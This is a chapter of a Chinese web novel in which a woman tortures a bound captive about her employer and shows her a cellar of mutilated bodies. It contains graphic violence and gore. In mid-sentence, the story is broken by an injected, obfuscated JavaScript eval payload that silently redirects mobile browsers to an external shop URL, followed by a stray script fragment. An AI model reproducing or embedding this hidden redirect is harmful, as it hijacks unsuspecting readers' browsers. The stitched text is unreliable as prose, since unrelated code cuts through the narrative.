刘犇犇的舌头沿着嘴唇内侧划动,狠狠顶向嘴角的伤口。
女人扇了她一巴掌。
女人的金戒指和她的犬齿作对,叫她的嘴角开了个血口。
还不等血干涸,女人的下一巴掌就落了下来。
“啪!”
刘犇犇的半张脸都麻了,耳边是持续性的耳鸣,以及女人呵斥的声音——“说。”
刘犇犇恍惚地抬起头,就被女人掐住了下巴。
刘犇犇突地笑了。
“说什么?”
然后,她就看见女人下颌微抬,高扬起手臂,抡出冲击的弧度——
“啪!”
“我没什么耐心。”殷珠先道,抖了抖发麻的手掌,眉头微蹙。
“到底说不说?”
“你到底想让我说啥!”刘犇犇彻底没招了。
她本来骨头就软,恨不得立马将自己知道的所有东西说个一干二净,但你爸爸的倒是问啊?!
“说,我啥都说!你倒是问啊?”
殷珠见她急了,挤出一个笑来。
“说说你的老板吧。”
刘犇犇生怕又被扇,嘴巴立马输出:“我老板叫岑岑,25岁,北京人,家里很有钱,长得很漂亮,性格很疯狂,精神不正常。”
“还有呢?”殷珠搓了搓掌心。
“啊?”
殷珠眼睛一眯,手腕就转了一下。
“诶!别扇别!别扇!”刘犇犇赶忙叫起来。
“你老板带你来这里干什么?”殷珠问。
刘犇犇:“找东西。”
“一种虫子,叫千足百翅。这虫子在罗布泊传说中经常出现,你应该也听说过……”
殷珠:“她怎么知道千足百翅在这里?”
刘犇犇:“我不知道。我只是跟着老板来的,我什么都不知道。”
“你什么都不知道就敢跟着来送死?”
“我老板花了重金雇佣我。”
“多少钱?”
“一百个点。”
“一百万雇你这个废物,我看你老板确实不正常。”殷珠忍不住笑了。
刘犇犇没办法反驳。她也跟着呵呵笑,视线乱飘,最后落在一旁的木柜上。
那里躺着一个文件袋,文件袋上躺着一张照片。
好巧不巧是熟脸。
刘犇犇脸色变了一瞬,赶忙将视线绕了回来,装作没看见。
“呵呵呵呵呵呵……”
殷珠敏锐地捕捉到小姑娘的脸色,将视线挪到木柜上。
那是她前段时间调查到的资料。
上面还贴了小贱人的照片。
一张白嫩嫩,水灵灵的脸,叫殷珠恨得牙痒痒。
殷珠低声笑了一下,难掩兴奋的战栗,她抬手擦了擦嘴唇,牙床都在抖动。
她绕着小姑娘走了两圈,突地抬腿将椅子踹倒。
刘犇犇被五花大绑在椅子上,后背强烈的推背感将她砸在木地面上——固定她的椅子四分五裂,绳索散了。
可她没有办法爬起身来,浑身的骨头也跟那把椅子差不多了。
刘犇犇趴在地上痛苦地嚎叫,不知自己又哪里得罪了这个疯女人。
还不等她像烂泥一样在地上打滚,女人的黑高靴就踩住了她的后背。
鞋跟坚硬的像是六边锤,沿着她的脊椎缓慢挑上去,直到卡住她的脖颈。
刘犇犇下意识想开口求饶。
——“砰!”
一声巨大的划膛声。子弹紧贴着她的耳朵,在她脸颊旁边炸开。
地板四分五裂,无数随便从她的脸上划过,疼痛还没来,血就淌满了脸。
踩着她的脚加重了力道,将她狠狠往打出的洞里踩。
一根碎裂的木板抵着她的脖颈,随时都会刺穿她的喉管。
刘犇犇一动不敢动,却看见一片红色。
是的。
红色。
一片新的,旧的,老的,少的,不同厚度不同年岁的红色浑成一团,将地窖里的四面墙壁和地面都铺满了。
里面躺着几个人,看不出性别,两个没有腿,三个没有手,剩下的都没有。
血渗出来就被地面的干草掺牛粪止住了,他们睁着眼向上看,目光如死。
“啊————”
刘犇犇吓得眼球差点飞出去,喉咙里涌出一声直白的音节,如待宰的牲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793340|208716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
畜无望的呐喊。
她再也无法忍耐恐惧,破败的身体发了狂地挣扎,尽管木板如刀割痛她的脖子。
也许是怜悯她,那坚硬的高筒靴终于挪开,换成女人有力的手掌。
殷珠抓住小姑娘的头发,将她整个人向后拉扯,迫使她血流不止的耳朵贴近自己的红唇。
女人的声音像鬼。
“你认识她?”
还不等刘犇犇否认,一张照片便贴了上来。
岑岑笑得稚嫩,带着胶片的味道被贴到了刘犇犇的脸上。
刘犇犇认命了。
“她是我老板。”
“她就是我老板,就是她花重金雇佣我来的……跟我没关系,这些事都跟我没关系……我……”
殷珠哦了一声,红色的唇瓣似乎还吮过小姑娘流淌不止的血。
“我有个事请你帮忙。”
刘犇犇差点以为自己听错了。
“如果事情办成了,我就放你走。”
刘犇犇也不管是真是假,立马脱口而出:“我办!”
然后,她就被吊在了矿山顶上。
刘犇犇像一面滴血的破旗帜,随风飘扬。
她没想这么办。
马大杵看着高处的女流氓,有些感动地看向自己的老大。
“红姐从来没有这样教训过一个人。”
马大夯害怕弟弟抹眼泪,有些无语道:“你没听红姐说吗?这个人是那个小贱人的手下,小贱人得罪了红姐,红姐想用女流氓做诱饵引那小贱人出来。”
说着,他狠狠用毛巾扇他弟弟的脸。
“跟你有啥关系!”
马大杵被扇疼了,但也依旧犟着一张脸。
“我不管,红姐就是在给我出气。”
“那你打算怎么报答红姐?”
马大杵:“红姐叫我死我就死,绝不浪费子弹。”
马大夯恼怒地在他屁股蛋上狠狠踹了一脚!
殷珠没兴趣去管傻子兄弟在闹什么,她看着吊在上头的小姑娘,手里的金枪转了又转。
可不要让她等太久啊,小贱人。
她的枪正嗷嗷待哺呢。
******